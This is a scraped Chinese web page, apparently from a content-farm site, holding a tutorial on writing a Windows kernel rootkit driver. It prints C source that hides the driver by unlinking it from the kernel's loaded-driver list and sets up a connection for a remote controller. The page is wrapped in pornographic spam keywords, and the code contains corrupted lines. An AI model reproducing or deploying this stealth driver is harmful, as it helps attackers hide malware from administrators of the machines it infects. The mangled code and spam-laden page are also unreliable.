<thead id="kqoxr"></thead>
<blockquote id="kqoxr"></blockquote>
<legend id="kqoxr"><li id="kqoxr"></li></legend>
    1. <sub id="kqoxr"></sub>
      1. <blockquote id="kqoxr"><i id="kqoxr"><noscript id="kqoxr"></noscript></i></blockquote>
        <pre id="kqoxr"></pre>

        91午夜福利在线观看精品,亚洲综合色婷婷中文字幕,亚洲日本欧洲二区精品,竹菊影视欧美日韩一区二区三区四区五区,亚洲色在线V中文字幕,国产精品毛片av999999,精品视频不卡免费观看,亚洲全乱码精品一区二区

        Rootkit隱形技術方法

        時間:2024-09-08 21:21:04 學人智庫

        Rootkit隱形技術方法

          一、綜述

          本文將引領讀者打造一個初級的內核級Rootkit,然后為其引入兩種簡單的隱形技術:進程隱形技術和文件隱形技術。同時,為了讓讀者獲得rootkit編程的相關經驗,我們順便介紹了rootkit的裝載、卸載方法,以及必不可少的測試技術。

          本文介紹的Rootkit的主要構件是一個設備驅動程序,所以我們首先了解一下我們的第一個rootkit。

          二、rootkit主體

          本節引入一個簡單的rootkit實例,它實際上只給出了rootkit的主體框架,換句話說,就是一個設備驅動程序。那么為什么要用設備驅動程序作為主體呢?很明顯,因為在系統中,設備驅動程序和操作系統一樣,都是程序中的特權階級——它們運行于Ring0,有權訪問系統中的所有代碼和數據。還有一點需要說明的是,因為本例主要目的在于介紹rootkit是如何隱形的,所以并沒有實現后門之類的具體功能,。

          我們將以源代碼的形式說明rootkit,對著重介紹一些重要的數據結構和函數。下面,先給出我們用到的第一個文件,它是一個頭文件,名為Invisible.h,具體如下所示:

          //Invisible.h:我們rootkit的頭文件

          #ifndef _INVISIBLE_H_

          #define _INVISIBLE_H_

          typedef BOOLEAN BOOL;

          typedef unsigned long DWORD;

          typedef DWORD* PDWORD;

          typedef unsigned long ULONG;

          typedef unsigned short WORD;

          typedef unsigned char BYTE;

          typedef struct _DRIVER_DATA

          {

          LIST_ENTRY listEntry;

          DWORD unknown1;

          DWORD unknown2;

          DWORD unknown3;

          DWORD unknown4;

          DWORD unknown5;

          DWORD unknown6;

          DWORD unknown7;

          UNICODE_STRING path;

          UNICODE_STRING name;

          } DRIVER_DATA;

          #endif

          我們知道,應用軟件只要簡單引用幾個文件如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅動程序這里就行不通了,原因大致有二條,一是驅動程序體積一般較為緊湊,二是驅動程序用途較為專一,用到的數據類型較少。因此,我們這里給出了一個頭文件Invisible.h,其中定義了一些供我們的rootkit之用的數據類型。

          這里定義的類型中,有一個數據類型要提一下:雙字類型,它實際上是一個無符號長整型。此外,DRIVER_DATA是Windows 操作系統未公開的一個數據結構,其中含有分別指向設備驅動程序目錄中上一個和下一個設備驅動程序的指針。而我們這里開發的rootkit恰好就是作為設備驅動程序來實現,所以,只要從設備驅動程序目錄中將我們的rootkit(即驅動程序)所對應的目錄項去掉,系統管理程序就看不到它了,從而實現了隱形。

          上面介紹了rootkit的頭文件,現在開始介紹rootkit的主體部分,它實際就是一個基本的設備驅動程序,具體代碼如下面的Invisible.c所示:

          // Invisible

          #include "ntddk.h"

          #include "Invisible.h"

          #include "fileManager.h"

          #include "configManager.h"

          // 全局變量

          ULONG majorVersion;

          ULONG minorVersion;

          //當進行free build時,將其注釋掉,以防被檢測到

          VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )

          {

          DbgPrint("comint16: OnUnload called.");

          }

          NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING

          theRegistryPath )

          {

          DRIVER_DATA* driverData;

          //取得操作系統的版本

          PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

          // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95

          // Major = 5: Windows Server 2003, Windows XP 或 Windows 2000

          // Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95

          // Minor = 1: Windows XP

          // Minor = 2: Windows Server 2003

          if ( majorVersion == 5 && minorVersion == 2 )

          {

          DbgPrint("comint16: Running on Windows 2003");

          }

          else if ( majorVersion == 5 && minorVersion == 1 )

          {

          DbgPrint("comint16: Running on Windows XP");

          }

          else if ( majorVersion == 5 && minorVersion == 0 )

          {

          DbgPrint("comint16: Running on Windows 2000");

          }

          else if ( majorVersion == 4 && minorVersion == 0 )

          {

          DbgPrint("comint16: Running on Windows NT 4.0");

          }

          else

          {

          DbgPrint("comint16: Running on unknown system");

          }

          // 隱藏該驅動程序

          driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));

          if( driverData != NULL )

          {

          // 將本驅動程序的相應目錄項從項驅動程序目錄中拆下來

          *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;

          driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;

          }

          // 允許卸載本驅動程序

          pDriverObject->DriverUnload = OnUnload;

          // 為本Rootkit的控制器配置連接

          if( !NT_SUCCESS( Configure() ) )

          {

          DbgPrint("comint16: Could not configure remote connection.n");

          return STATUS_UNSUCCESSFUL;

          }

          return STATUS_SUCCESS;

          }

        [Rootkit隱形技術方法]

        【Rootkit隱形技術方法】相關文章:

        市場調查的技術方法06-15

        開題報告研究方法與關鍵技術07-03

        吃掉生命的隱形黑洞09-28

        隱形的翅膀_勵志故事10-27

        影響你升職的隱形“殺手”08-25

        隱形族該注意的問題 戴隱形眼鏡該怎么化眼妝08-27

        蔬菜怎么保存更新鮮?蔬菜的保鮮方法與技術11-08

        跟身邊同事學學“隱形技能”09-11

        不要成為隱形升職的犧牲品08-23

        日本留學的硬性條件和隱形條件05-15

        主站蜘蛛池模板: 欧美日韩 国产区 在线观看| 狠狠色狠狠色五月激情| 中文字幕aav| 亚洲国产精品大秀在线播放| 色偷偷资源网| 日本边吃奶边摸边做在线视频| 三级三级久久三级久久| 99精品国产一区二区三区不卡| 蜜臀精品一区二区三区四区| 国产一区二区丝袜在线播放国产日韩欧美色综合| 亚洲性日韩精品一区二区| 人妻系列一区| 欧美肏屄网| 一本一道人人妻人人妻αV| 日韩国产亚洲欧美成人图片| 久久精品国产主播一区二区| 韩国一区二区三区| 亚洲国产国语自产精品| 日韩精品毛片一区到三区| 草莓视频污在线观看| 国产色婷婷五月精品综合在线 | 成人精品视频一区二区三区尤物| 99这里只有精品6| 开心一区二区三区激情| 免费AV网站| 久久综合色之久久综合| 亚洲理论| 亚州无码精品| 国产福利小视频91| 精品国产成人国产在线视| 国产亚洲精品黑人粗大精选| 日韩成人在线视频播放| 久久国产精品娇妻素人| 日韩精品视频一区二区三区| 亚洲一级成人影院在线观看| 精品国产线拍大陆久久尤物| 亚洲欧美综合精品二区| 亚洲天堂在线观看完整版| 色姑娘综合网| 国产亚洲欧洲人人网| 国产成人无码www免费视频播放|